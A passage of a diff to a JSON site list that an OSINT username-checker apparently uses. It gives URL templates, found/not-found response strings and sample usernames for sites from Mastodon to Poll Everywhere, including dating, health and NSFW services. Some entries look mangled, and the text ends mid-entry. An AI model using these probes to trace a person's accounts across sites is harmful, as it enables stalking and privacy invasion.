"Mastodon-Defcon", + "uri_check": "https://defcon.social/@{account}", + "e_code": 200, + "e_string": "- DEF CON Social", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "defcon", + "buttersnatcher" + ], + "cat": "social" + }, + { + "name": "Mastodon-mastodon", + "uri_check": "https://mastodon.social/@{account}", + "e_code": 200, + "e_string": "profile:username", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "john", + "alex" + ], + "cat": "social" + }, + { + "name": "Mastodon-meow.social", + "uri_check": "https://meow.social/@{account}", + "e_code": 200, + "e_string": "- the mastodon instance for creatures fluffy, scaly and otherwise", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "meow", + "novra" + ], + "cat": "social" + }, + { + "name": "Mastodon-mstdn.io", + "uri_check": "https://mstdn.io/@{account}", + "e_code": 200, + "e_string": "@mstdn.io) - Mastodon", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "mike", + "greg" + ], + "cat": "social" + }, + { + "name": "Mastodon-pol.social", + "uri_check": "https://pol.social/@{account}", + "e_code": 200, + "e_string": "@pol.social", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "ftdl", + "ducensor" + ], + "cat": "social" + }, + { + "name": "Mastodon-rigcz.club", + "uri_check": "https://rigcz.club/@{account}", + "e_code": 200, + "e_string": "@rigcz.club", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "blazej", + "adam" + ], + "cat": "social" + }, + { + "name": "Mastodon-social_tchncs", + "uri_check": "https://social.tchncs.de/@{account}", + "e_code": 200, + "e_string": "profile:username", + "m_string": "The page you are looking for isn't here", + "m_code": 301, + "known": [ + "michael", + "frank" + ], + "cat": "social" + }, + { + "name": "Mastodon-Toot.Community", + "uri_check": "https://toot.community/@{account}", + "e_code": 200, + "e_string": "@toot.community) - toot.community", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "Johnny", + "jorijn" + ], + "cat": "social" + }, + { + "name": "Mastodon.online", + "uri_check": "https://mastodon.online/@{account}", + "e_code": 200, + "e_string": "@mastodon.online) - Mastodon", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "Gargron", + "RDHale" + ], + "cat": "social" + }, + { + "name": "Mastodonbooks.net (Mastodon Instance)", + "uri_check": "https://mastodonbooks.net/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://mastodonbooks.net/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "RogerRemacle", + "eugnick" + ], + "cat": "social" + }, + { + "name": "MCName (Minecraft)", + "uri_check": "https://mcname.info/en/search?q={account}", + "e_code": 200, + "e_string": "card mb-3 text-monospace", + "m_string": "alert alert-success px-0 py-1", + "m_code": 200, + "known": [ + "unrevive", + "nxtuny" + ], + "cat": "gaming" + }, + { + "name": "MCUUID (Minecraft)", + "uri_check": "https://playerdb.co/api/player/minecraft/{account}", + "uri_pretty": "https://mcuuid.net/?q={account}", + "e_code": 200, + "e_string": "Successfully found player by given ID.", + "m_string": "minecraft.api_failure", + "m_code": 200, + "known": [ + "smithy", + "bob" + ], + "cat": "gaming" + }, + { + "name": "Medium", + "uri_check": "https://medium.com/@{account}/about", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "Medium member since", + "m_string": "Out of nothing, something", + "m_code": 404, + "known": [ + "zulie", + "jessicalexicus" + ], + "cat": "news" + }, + { + "name": "medyczka.pl", + "uri_check": "http://medyczka.pl/user/{account}", + "e_code": 200, + "e_string": "Lista uzytkownikow", + "m_string": "This user has not registered and therefore does not have a profile to view.", + "m_code": 200, + "known": [ + "test", + "janek" + ], + "cat": "health" + }, + { + "name": "meet me", + "uri_check": "https://www.meetme.com/{account}", + "e_code": 200, + "e_string": "<title>Meet people like ", + "m_string": "<title>MeetMe - Chat and Meet New People</title", + "m_code": 302, + "known": [ + "john", + "marsha" + ], + "cat": "dating" + }, + { + "name": "Metacritic", + "uri_check": "https://www.metacritic.com/user/{account}/", + "e_code": 200, + "e_string": "class=\"c-pageProfile-wrapper\"", + "m_string": "class=\"c-error404\"", + "m_code": 404, + "known": [ + "Mcguy", + "goldzweig" + ], + "cat": "hobby" + }, + { + "name": "Minds", + "uri_check": "https://www.minds.com/api/v3/register/validate?username={account}", + "uri_pretty": "https://www.minds.com/{account}/", + "e_code": 200, + "e_string": "\"valid\":false", + "m_string": "\"valid\":true", + "m_code": 200, + "known": [ + "gigan996", + "mindsgaming" + ], + "cat": "social" + }, + { + "name": "Minecraft List", + "uri_check": "https://minecraftlist.com/players/{account}", + "e_code": 200, + "e_string": "-->was seen on<!--", + "m_string": "0 Minecraft servers recently", + "m_code": 200, + "known": [ + "fear837", + "dream" + ], + "cat": "gaming" + }, + { + "name": "mintme", + "uri_check": "https://www.mintme.com/token/{account}", + "e_code": 200, + "e_string": "token | mintMe", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "john", + "crypto" + ], + "cat": "finance" + }, + { + "name": "Mistrzowie", + "uri_check": "https://mistrzowie.org/user/{account}", + "e_code": 200, + "e_string": "Profil użytkownika", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "test", + "janek" + ], + "cat": "images" + }, + { + "name": "Mix", + "uri_check": "https://mix.com/{account}/", + "e_code": 200, + "e_string": "<title>@", + "m_string": "The best content from the open web, personalized.", + "m_code": 302, + "known": [ + "test", + "mixpicks" + ], + "cat": "social" + }, + { + "name": "Mixcloud", + "uri_check": "https://api.mixcloud.com/{account}/", + "uri_pretty": "https://www.mixcloud.com/{account}/", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"error\":", + "m_code": 404, + "known": [ + "DjHunnyBee", + "vegarecords" + ], + "cat": "music" + }, + { + "name": "Mixi", + "uri_check": "https://mixi.jp/view_community.pl?id={account}", + "e_code": 200, + "e_string": "| mixiコミュニティ", + "m_string": "データがありません", + "m_code": 200, + "known": [ + "2854333", + "19123" + ], + "cat": "social" + }, + { + "name": "Mixlr", + "uri_check": "https://api.mixlr.com/users/{account}", + "uri_pretty": "https://mixlr.com/{account}/", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"error\":\"Resource not found\"", + "m_code": 404, + "known": [ + "test", + "john" + ], + "cat": "music" + }, + { + "name": "Mmorpg", + "uri_check": "https://forums.mmorpg.com/profile/{account}", + "e_code": 200, + "e_string": "MMORPG.com Forums", + "m_string": "404 Not Not_Found", + "m_code": 404, + "known": [ + "TheDalaiBomba", + "MadLovin" + ], + "cat": "gaming" + }, + { + "name": "MobileGTA.net", + "uri_check": "https://www.mobilegta.net/en/user/{account}", + "e_code": 200, + "e_string": "userpage_user", + "m_string": "

    404 Not Found", + "m_code": 200, + "known": [ + "daniel", + "franco" + ], + "cat": "gaming" + }, + { + "name": "Mod DB", + "uri_check": "https://www.moddb.com/html/scripts/autocomplete.php?a=username&q={account}", + "uri_pretty": "https://www.moddb.com/members/{account}", + "e_code": 200, + "e_string": "\"available\":false", + "m_string": "\"available\":true", + "m_code": 200, + "known": [ + "sprinklesoup", + "emargy" + ], + "cat": "gaming" + }, + { + "name": "MODX.im", + "uri_check": "https://modx.evo.im/profile/{account}/", + "e_code": 200, + "e_string": "class=\"profile\"", + "m_string": "class=\"content-error\"", + "m_code": 404, + "known": [ + "Grinyaha", + "kymage" + ], + "cat": "tech" + }, + { + "name": "Monkeytype", + "uri_check": "https://api.monkeytype.com/users/{account}/profile", + "uri_pretty": "https://monkeytype.com/profile/{account}", + "e_code": 200, + "e_string": "\"message\":\"Profile retrieved\"", + "m_string": "\"message\":\"User not found\"", + "m_code": 404, + "known": [ + "rocket", + "risenrelic" + ], + "cat": "coding" + }, + { + "name": "Moto Trip", + "uri_check": "https://moto-trip.com/profil/{account}", + "e_code": 200, + "e_string": "

    Profil de ", + "m_string": "

    Page introuvable

    ", + "m_code": 404, + "known": [ + "aesthetics", + "pif" + ], + "cat": "hobby" + }, + { + "name": "Motokiller", + "uri_check": "https://mklr.pl/user/{account}", + "e_code": 200, + "e_string": "Zamieszcza materiały od:", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "test", + "janek" + ], + "cat": "images" + }, + { + "name": "Moxfield", + "uri_check": "https://api2.moxfield.com/v1/users/{account}", + "uri_pretty": "https://www.moxfield.com/users/{account}", + "e_code": 200, + "e_string": "\"userName\":", + "m_string": "\"status\":404", + "m_code": 404, + "known": [ + "gamer", + "Carlos01" + ], + "cat": "gaming" + }, + { + "name": "mssg.me", + "uri_check": "https://{account}.mssg.me/", + "e_code": 200, + "e_string": "property=\"og:title\"", + "m_string": "id=\"page_404\"", + "m_code": 404, + "known": [ + "drrry", + "david" + ], + "cat": "social" + }, + { + "name": "Muck Rack", + "uri_check": "https://muckrack.com/{account}", + "e_code": 200, + "e_string": "on Muck Rack", + "m_string": "Oh no! Page not found.", + "m_code": 404, + "known": [ + "john" + ], + "cat": "news" + }, + { + "name": "Musician.social (Mastodon Instance)", + "uri_check": "https://musician.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://musician.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "Alizar", + "weisjohan" + ], + "cat": "social" + }, + { + "name": "musictraveler", + "uri_check": "https://www.musictraveler.com/en/users/{account}/", + "e_code": 200, + "e_string": "on Music Traveler", + "m_string": "Page Not found", + "m_code": 404, + "known": [ + "dave", + "sarah" + ], + "cat": "music" + }, + { + "name": "MUYZORRAS", + "uri_check": "https://www.muyzorras.com/usuarios/{account}", + "e_code": 200, + "e_string": "og:title", + "m_string": "Error 404", + "m_code": 404, + "known": [ + "anuel", + "esteban" + ], + "cat": "xx NSFW xx" + }, + { + "name": "my_instants", + "uri_check": "https://www.myinstants.com/en/profile/{account}/", + "e_code": 200, + "e_string": " | Myinstants", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "daniel01", + "dave" + ], + "cat": "music" + }, + { + "name": "MyAnimeList", + "uri_check": "https://myanimelist.net/profile/{account}", + "e_code": 200, + "e_string": "Profile - MyAnimeList.net", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "test", + "admin" + ], + "cat": "social" + }, + { + "name": "MyBuilder.com", + "uri_check": "https://www.mybuilder.com/profile/view/{account}", + "e_code": 200, + "e_string": "feedback", + "m_string": "Whoops! You broke our site!", + "m_code": 404, + "known": [ + "blue", + "john" + ], + "cat": "social" + }, + { + "name": "MyFitnessPal Author", + "uri_check": "https://blog.myfitnesspal.com/author/{account}/", + "e_code": 200, + "e_string": "About the Author", + "m_string": "<title>Page not found ", + "m_code": 404, + "known": [ + "lauren-krouse", + "julia-malacoff" + ], + "cat": "health" + }, + { + "name": "MyFitnessPal Community", + "uri_check": "https://community.myfitnesspal.com/en/profile/{account}", + "e_code": 200, + "e_string": ">Last Active<", + "m_string": "User Not Found", + "m_code": 404, + "known": [ + "malibu927", + "L1zardQueen" + ], + "cat": "health" + }, + { + "name": "MyLot", + "uri_check": "https://www.mylot.com/{account}", + "e_code": 200, + "e_string": "on myLot", + "m_string": " / Whoops!", + "m_code": 404, + "known": [ + "Tampa_girl7" + ], + "cat": "social" + }, + { + "name": "MYM", + "uri_check": "https://mym.fans/{account}", + "e_code": 200, + "e_string": "class=\"page profile\"", + "m_string": "class=\"page page-404\"", + "m_code": 404, + "known": [ + "Unmissabl", + "Nicolasmauranmedium" + ], + "cat": "social" + }, + { + "name": "MyNickname", + "uri_check": "https://mynickname.com/en/search?q={account}", + "e_code": 200, + "e_string": "nickname found:

    ", + "m_string": "

    Nickname not found. Try searching for similar nicknames.

    ", + "m_code": 200, + "known": [ + "tw1st", + "0xDEFACED" + ], + "cat": "misc" + }, + { + "name": "myportfolio", + "uri_check": "https://{account}.myportfolio.com/work", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "class=\"page-title", + "m_string": "Adobe Portfolio | Build your own personalized website", + "m_code": 302, + "known": [ + "artkonina", + "fox" + ], + "cat": "misc" + }, + { + "name": "MySpace", + "uri_check": "https://myspace.com/{account}", + "e_code": 200, + "e_string": "", + "m_string": "", + "m_code": 404, + "known": [ + "alice", + "bob" + ], + "cat": "social" + }, + { + "name": "Myspreadshop", + "uri_check": "https://myspreadshop.de/{account}/shopData/list", + "uri_pretty": "https://{account}.myspreadshop.com", + "e_code": 200, + "e_string": "siteName", + "m_string": "not found", + "m_code": 404, + "known": [ + "arukori", + "honey" + ], + "cat": "business" + }, + { + "name": "myWishBoard", + "uri_check": "https://mywishboard.com/@{account}", + "e_code": 200, + "e_string": "class=\"MwbUserHeader\"", + "m_string": "class=\"MwbError\"", + "m_code": 404, + "known": [ + "ke7_2024", + "alekseevvasil" + ], + "cat": "shopping" + }, + { + "name": "naija_planet", + "uri_check": "https://naijaplanet.com/{account}", + "e_code": 200, + "e_string": "dating Profile, ", + "m_string": "- NaijaPlanet!", + "m_code": 200, + "known": [ + "daniel01", + "wales73" + ], + "cat": "dating" + }, + { + "name": "nairaland", + "uri_check": "https://www.nairaland.com/{account}", + "e_code": 200, + "e_string": "s Profile", + "m_string": "404: Page Not Found", + "m_code": 301, + "known": [ + "amakaone", + "seun" + ], + "cat": "news" + }, + { + "name": "NaturalNews", + "uri_check": "https://naturalnews.com/author/{account}/", + "e_code": 200, + "e_string": "All posts by", + "m_string": "The page you are looking for cannot be found or is no longer available.", + "m_code": 200, + "known": [ + "jdheyes", + "healthranger" + ], + "cat": "political" + }, + { + "name": "Naver", + "uri_check": "https://blog.naver.com/{account}", + "e_code": 200, + "e_string": " : 네이버 블로그", + "m_string": "페이지를 찾을 수 없습니다", + "m_code": 500, + "known": [ + "bob", + "blue" + ], + "cat": "social" + }, + { + "name": "Neocities", + "uri_check": "https://neocities.org/site/{account}", + "e_code": 200, + "e_string": "noindex, follow", + "m_string": "- Not Found", + "m_code": 404, + "known": [ + "fauux", + "sadgrl" + ], + "cat": "social" + }, + { + "name": "netvibes", + "uri_check": "https://www.netvibes.com/{account}", + "e_code": 200, + "e_string": "userId", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "nebkacrea", + "cdiljda" + ], + "cat": "social" + }, + { + "name": "Newgrounds", + "uri_check": "https://{account}.newgrounds.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "user-header-name", + "m_string": "Whoops, that's a swing and a miss!", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "gaming" + }, + { + "name": "newmeet", + "uri_check": "https://www.newmeet.com/en/profile/{account}/", + "e_code": 200, + "e_string": "

    The profile of", + "m_string": "Chat with , , , - ", + "m_code": 200, + "known": [ + "Harmonie06", + "Bach007" + ], + "cat": "dating" + }, + { + "name": "Nifty Gateway", + "uri_check": "https://api.niftygateway.com/user/profile-and-offchain-nifties-by-url/?profile_url={account}", + "uri_pretty": "https://www.niftygateway.com/profile/{account}/", + "e_code": 200, + "e_string": ""didSucceed": true", + "m_string": ""didSucceed": false", + "m_code": 400, + "known": [ + "kobej", + "exolorian" + ], + "cat": "social" + }, + { + "name": "Nightbot", + "uri_check": "https://api.nightbot.tv/1/channels/t/{account}", + "uri_pretty": "https://nightbot.tv/t/{account}/commands", + "e_code": 200, + "e_string": "\"status\":200", + "m_string": "\"status\":404", + "m_code": 404, + "known": [ + "saevid", + "proxyfox" + ], + "cat": "social" + }, + { + "name": "nihbuatjajan", + "uri_check": "https://www.nihbuatjajan.com/{account}", + "e_code": 200, + "e_string": ") | Nih buat jajan", + "m_string": "Nih Buat Jajan", + "m_code": 302, + "known": [ + "banyusadewa", + "danirachmat" + ], + "cat": "social" + }, + { + "name": "Nitecrew (Mastodon Instance)", + "uri_check": "https://nitecrew.rip/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://nitecrew.rip/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "Myxx", + "honey" + ], + "cat": "social" + }, + { + "name": "nnru", + "uri_check": "https://{account}.www.nn.ru", + "strip_bad_char": ".", + "e_code": 200, + "e_string": " ", + "m_string": "<title>Ошибка 404 -", + "m_code": 404, + "known": [ + "lena", + "slava" + ], + "cat": "social" + }, + { + "name": "NotABug", + "uri_check": "https://notabug.org/{account}", + "e_code": 200, + "e_string": "class=\"user profile\"", + "m_string": "alt=\"404\"", + "m_code": 404, + "known": [ + "notabug", + "hp", + "zPlus" + ], + "cat": "coding" + }, + { + "name": "Note", + "uri_check": "https://note.com/{account}", + "e_code": 200, + "e_string": "フォロワー", + "m_string": "お探しのページが見つかりません。", + "m_code": 404, + "known": [ + "honey", + "yui" + ], + "cat": "social" + }, + { + "name": "npm", + "uri_check": "https://www.npmjs.com/~{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "<h1>not found</h1>", + "m_code": 404, + "known": [ + "npm", + "rich_harris" + ], + "cat": "coding" + }, + { + "name": "oglaszamy24h.pl", + "uri_check": "https://oglaszamy24h.pl/profil,{account}", + "e_code": 200, + "e_string": "Profil użytkownika:", + "m_string": "Nieprawidłowy link, w bazie danych nie istnieje użytkownik o podanym loginie", + "m_code": 404, + "known": [ + "kowal", + "janek" + ], + "cat": "shopping" + }, + { + "name": "ok.ru", + "uri_check": "https://ok.ru/{account}", + "e_code": 200, + "e_string": "| OK", + "m_string": "class=\"p404_t", + "m_code": 404, + "known": [ + "john", + "aleksandrvasillev" + ], + "cat": "social" + }, + { + "name": "okidoki", + "uri_check": "https://m.okidoki.ee/ru/users/{account}/", + "e_code": 200, + "e_string": "Пользователь", + "m_string": "Страница не найдена", + "m_code": 404, + "known": [ + "nastya3", + "nastya" + ], + "cat": "misc" + }, + { + "name": "omg.lol", + "uri_check": "https://api.omg.lol/address/{account}/info", + "uri_pretty": "https://{account}.omg.lol", + "strip_bad_char": "@.", + "e_code": 200, + "e_string": "\"success\": true", + "m_string": "\"success\": false", + "m_code": 200, + "known": [ + "cwa", + "adam" + ], + "cat": "social" + }, + { + "name": "OnlySearch (OnlyFans)", + "uri_check": "https://onlysearch.co/api/search?keyword={account}", + "uri_pretty": "https://onlysearch.co/profiles?keyword={account}", + "e_code": 200, + "e_string": "\"hits\":[{", + "m_string": "\"hits\":[]", + "m_code": 200, + "known": [ + "miaimani", + "milaamour" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Opencollective", + "uri_check": "https://opencollective.com/{account}", + "e_code": 200, + "e_string": "- Open Collective", + "m_string": "Not Found", + "m_code": 200, + "known": [ + "john", + "bob" + ], + "cat": "finance" + }, + { + "name": "OpenSource", + "uri_check": "https://opensource.com/users/{account}", + "e_code": 200, + "e_string": "\"contentID\":", + "m_string": "\"errorCode\": \"404\"", + "m_code": 404, + "known": [ + "wuweijie", + "alansmithee" + ], + "cat": "tech" + }, + { + "name": "OpenStreetMap", + "uri_check": "https://www.openstreetmap.org/user/{account}", + "e_code": 200, + "e_string": "Mapper since:", + "m_string": "does not exist", + "m_code": 404, + "known": [ + "kemkim", + "MapmasterBit" + ], + "cat": "social" + }, + { + "name": "OpenStreetMap Wiki", + "uri_check": "https://wiki.openstreetmap.org/w/api.php?action=query&format=json&list=users&ususers={account}", + "uri_pretty": "https://wiki.openstreetmap.org/wiki/User:{account}", + "e_code": 200, + "e_string": "\"userid\":", + "m_string": "\"missing\":\"\"", + "m_code": 200, + "known": [ + "kemkim", + "john" + ], + "cat": "social" + }, + { + "name": "Oper.ru", + "uri_check": "https://oper.ru/visitors/info.php?t={account}", + "e_code": 200, + "e_string": "Информация о пользователе", + "m_string": "Нет такого пользователя", + "m_code": 200, + "known": [ + "Goblin", + "Баир Иринчеев" + ], + "cat": "tech" + }, + { + "name": "OPGG", + "uri_check": "https://eune.op.gg/summoners/eune/{account}", + "e_code": 200, + "e_string": "- Summoner Stats - League of Legends", + "m_string": "Guide - OP.GG", + "m_code": 200, + "known": [ + "xin", + "carlos01" + ], + "cat": "gaming" + }, + { + "name": "Orbys", + "uri_check": "https://orbys.net/{account}", + "e_code": 200, + "e_string": "profile_user_image", + "m_string": "The page you are looking for cannot be found.", + "m_code": 404, + "known": [ + "txmustang302" + ], + "cat": "social" + }, + { + "name": "Origins.Habbo.com", + "uri_check": "https://origins.habbo.com/api/public/users?name={account}", + "e_code": 200, + "e_string": "uniqueId", + "m_string": "not-found", + "m_code": 404, + "known": [ + "john", + "jane" + ], + "cat": "gaming" + }, + { + "name": "Origins.Habbo.com.br", + "uri_check": "https://origins.habbo.com.br/api/public/users?name={account}", + "e_code": 200, + "e_string": "uniqueId", + "m_string": "not-found", + "m_code": 404, + "known": [ + "carlos", + "pedro" + ], + "cat": "gaming" + }, + { + "name": "Origins.Habbo.es", + "uri_check": "https://origins.habbo.es/api/public/users?name={account}", + "e_code": 200, + "e_string": "uniqueId", + "m_string": "not-found", + "m_code": 404, + "known": [ + "carlos", + "mary" + ], + "cat": "gaming" + }, + { + "name": "osu!", + "uri_check": "https://osu.ppy.sh/users/{account}", + "e_code": 302, + "e_string": "", + "m_string": "User not found! ;_;", + "m_code": 404, + "known": [ + "stretches", + "spiken8" + ], + "cat": "gaming" + }, + { + "name": "Our Freedom Book", + "uri_check": "https://www.ourfreedombook.com/{account}", + "e_code": 200, + "e_string": "meta property=\"og:", + "m_string": "Sorry, page not found", + "m_code": 302, + "known": [ + "DaveLipsky", + "StarlaJene" + ], + "cat": "social" + }, + { + "name": "ow.ly", + "uri_check": "http://ow.ly/user/{account}", + "e_code": 200, + "e_string": "Images", + "m_string": "404 error", + "m_code": 404, + "known": [ + "StopAdMedia", + "jokervendetti" + ], + "cat": "social" + }, + { + "name": "palnet", + "uri_check": "https://www.palnet.io/@{account}/", + "e_code": 200, + "e_string": "class=\"profile-cover\"", + "m_string": "Unknown user account!", + "m_code": 404, + "known": [ + "trincowski-pt", + "anggreklestari" + ], + "cat": "social" + }, + { + "name": "Parler", + "uri_check": "https://parler.com/user/{account}", + "e_code": 200, + "e_string": "People to Follow", + "m_string": "join Parler today", + "m_code": 302, + "known": [ + "DineshDsouza", + "SeanHannity" + ], + "cat": "social" + }, + { + "name": "Parler archived posts", + "uri_check": "http://archive.org/wayback/available?url=https://parler.com/profile/{account}/posts", + "uri_pretty": "https://web.archive.org/web/2/https://parler.com/profile/{account}/posts", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "JoePags", + "dineshdsouza" + ], + "cat": "archived" + }, + { + "name": "Parler archived profile", + "uri_check": "http://archive.org/wayback/available?url=https://parler.com/profile/{account}", + "uri_pretty": "https://web.archive.org/web/2/https://parler.com/profile/{account}", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "JoePags", + "dineshdsouza" + ], + "cat": "archived" + }, + { + "name": "Pastebin", + "uri_check": "https://pastebin.com/u/{account}", + "e_code": 200, + "e_string": "class=\"user-view\"", + "m_string": "Not Found (#404)", + "m_code": 404, + "known": [ + "test", + "john" + ], + "cat": "tech" + }, + { + "name": "patch", + "uri_check": "https://patch.com/users/{account}", + "e_code": 200, + "e_string": "<title>Patch User Profile", + "m_string": "<title>Page not found", + "m_code": 404, + "known": [ + "dave", + "bob" + ], + "cat": "news" + }, + { + "name": "PatientsLikeMe", + "uri_check": "https://www.patientslikeme.com/members/{account}", + "e_code": 200, + "e_string": "s profile | PatientsLikeMe", + "m_string": "", + "m_code": 302, + "known": [ + "thjuland", + "Pedro0703", + "Hydropioneer" + ], + "cat": "health" + }, + { + "name": "Patreon", + "uri_check": "https://www.patreon.com/{account}", + "e_code": 200, + "e_string": "full_name\":", + "m_string": "errorCode\": 404,", + "m_code": 404, + "known": [ + "mubix", + "doughboys" + ], + "cat": "finance" + }, + { + "name": "Patriots Win", + "uri_check": "https://patriots.win/u/{account}/", + "e_code": 200, + "e_string": "nav-user active register", + "m_string": "An error occurred", + "m_code": 500, + "known": [ + "r3deleven", + "MemeFactory" + ], + "cat": "political" + }, + { + "name": "Patronite", + "uri_check": "https://patronite.pl/{account}", + "e_code": 200, + "e_string": "Zostań Patronem", + "m_string": "Nie znaleźliśmy strony której szukasz.", + "m_code": 404, + "known": [ + "radio357", + "radionowyswiat" + ], + "cat": "finance" + }, + { + "name": "Paypal", + "uri_check": "https://www.paypal.com/paypalme/{account}", + "e_code": 200, + "e_string": "userInfo", + "m_string": "PayPal.MeFollowers", + "m_string": "Sorry, this page doesn’t exist", + "m_code": 404, + "known": [ + "john", + "test" + ], + "cat": "video" + }, + { + "name": "Pewex", + "uri_check": "https://retro.pewex.pl/user/{account}", + "e_code": 200, + "e_string": "Zamieszcza eksponaty od:", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "test", + "ania" + ], + "cat": "misc" + }, + { + "name": "Picsart", + "uri_check": "https://api.picsart.com/users/show/{account}.json", + "uri_pretty": "https://picsart.com/u/{account}", + "e_code": 200, + "e_string": "\"status\":\"success\"", + "m_string": "\"status\":\"error\"", + "m_code": 200, + "known": [ + "john", + "john404" + ], + "cat": "art" + }, + { + "name": "Piekielni", + "uri_check": "https://piekielni.pl/user/{account}", + "e_code": 200, + "e_string": "Zamieszcza historie od:", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "test", + "janek" + ], + "cat": "misc" + }, + { + "name": "Pikabu", + "uri_check": "https://pikabu.ru/ajax.php", + "uri_pretty": "https://pikabu.ru/@{account}", + "post_body": "route=signup/check-username&username={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "e_code": 200, + "e_string": "\"result\":false", + "m_string": "\"result\":true", + "m_code": 200, + "known": [ + "igor01", + "serguei" + ], + "cat": "social", + "protection": [ + "ddos-guard" + ] + }, + { + "name": "Pillowfort", + "uri_check": "https://www.pillowfort.social/{account}/json/?p=1", + "uri_pretty": "https://www.pillowfort.social/{account}", + "e_code": 200, + "e_string": "\"posts\":", + "m_string": "(404)", + "m_code": 404, + "known": [ + "MissMoonified", + "lunasdestiny" + ], + "cat": "social" + }, + { + "name": "PinkBike", + "uri_check": "https://www.pinkbike.com/u/{account}/", + "e_code": 200, + "e_string": "on Pinkbike", + "m_string": "I couldn't find the page you were looking for", + "m_code": 404, + "known": [ + "whistlermountainbikepark", + "paulhanson" + ], + "cat": "hobby" + }, + { + "name": "Pinterest", + "uri_check": "https://www.pinterest.com/{account}/", + "e_code": 200, + "e_string": " - Profile | Pinterest", + "m_string": "id=\"home-main-title", + "m_code": 301, + "known": [ + "test123", + "frickcollection" + ], + "cat": "social" + }, + { + "name": "pixelfed.social", + "uri_check": "https://pixelfed.social/{account}", + "e_code": 200, + "e_string": "on pixelfed", + "m_string": "pixelfed", + "m_code": 404, + "known": [ + "sarah", + "john" + ], + "cat": "social" + }, + { + "name": "Playstation Network", + "uri_check": "https://psnprofiles.com/xhr/search/users?q={account}", + "uri_pretty": "https://psnprofiles.com/{account}", + "e_code": 200, + "e_string": "
    ", + "m_string": "We couldn't find anything ", + "m_code": 200, + "known": [ + "SlimShaggy18", + "ikemenzi" + ], + "cat": "gaming" + }, + { + "name": "Plink", + "uri_check": "https://plink.gg/user/{account}", + "e_code": 200, + "e_string": "class=\"user-page\"", + "m_string": "PLINK - 404 Page not found", + "m_code": 404, + "known": [ + "CryptonianTV", + "xacstonyjx" + ], + "cat": "gaming" + }, + { + "name": "Plurk", + "uri_check": "https://www.plurk.com/{account}", + "e_code": 200, + "e_string": "Profile views", + "m_string": "Register your plurk account", + "m_code": 200, + "known": [ + "test" + ], + "cat": "social" + }, + { + "name": "Poe.com", + "uri_check": "https://poe.com/profile/{account}", + "e_code": 200, + "e_string": "\"__isNode\":\"PoeUser\"", + "m_string": "\"user\":null", + "m_code": 200, + "known": [ + "spdustin", + "PromptCase" + ], + "cat": "tech" + }, + { + "name": "Pokec", + "uri_check": "https://pokec.azet.sk/{account}", + "e_code": 200, + "e_string": "idReportedUser", + "m_string": "Neexistujúci používateľ", + "m_code": 404, + "known": [ + "tobias", + "brahim1" + ], + "cat": "social" + }, + { + "name": "pokemonshowdown", + "uri_check": "https://pokemonshowdown.com/users/{account}", + "e_code": 200, + "e_string": "Official ladder", + "m_string": " (Unregistered)", + "m_code": 404, + "known": [ + "red", + "blue" + ], + "cat": "gaming" + }, + { + "name": "Pokerstrategy", + "uri_check": "http://www.pokerstrategy.net/user/{account}/profile/", + "e_code": 200, + "e_string": "User profile for", + "m_string": "Sorry, the requested page couldn't be found!", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "gaming" + }, + { + "name": "Polarsteps", + "uri_check": "https://api.polarsteps.com/users/byusername/{account}", + "uri_pretty": "https://www.polarsteps.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "EngelBos", + "GunnarEndlich" + ], + "cat": "hobby" + }, + { + "name": "Polchat.pl", + "uri_check": "https://polczat.pl/forum/profile/{account}/", + "e_code": 200, + "e_string": "Historia wpisów", + "m_string": "Wybrany użytkownik nie istnieje.", + "m_code": 200, + "known": [ + "admin", + "Lesik" + ], + "cat": "social" + }, + { + "name": "policja2009", + "uri_check": "http://www.policja2009.fora.pl/search.php?search_author={account}", + "e_code": 200, + "e_string": "Autor", + "m_string": "Nie znaleziono tematów ani postów pasujących do Twoich kryteriów", + "m_code": 200, + "known": [ + "Pvwel", + "janek" + ], + "cat": "misc" + }, + { + "name": "Poll Everywhere", + "uri_check": "https://pollev.com/proxy/api/users/{account}", + "uri_pretty": "https://pollev.com/{account}", + "e_code": 200, + "e_string": "name", + "m_string": "ResourceNotFound", + "m_code": 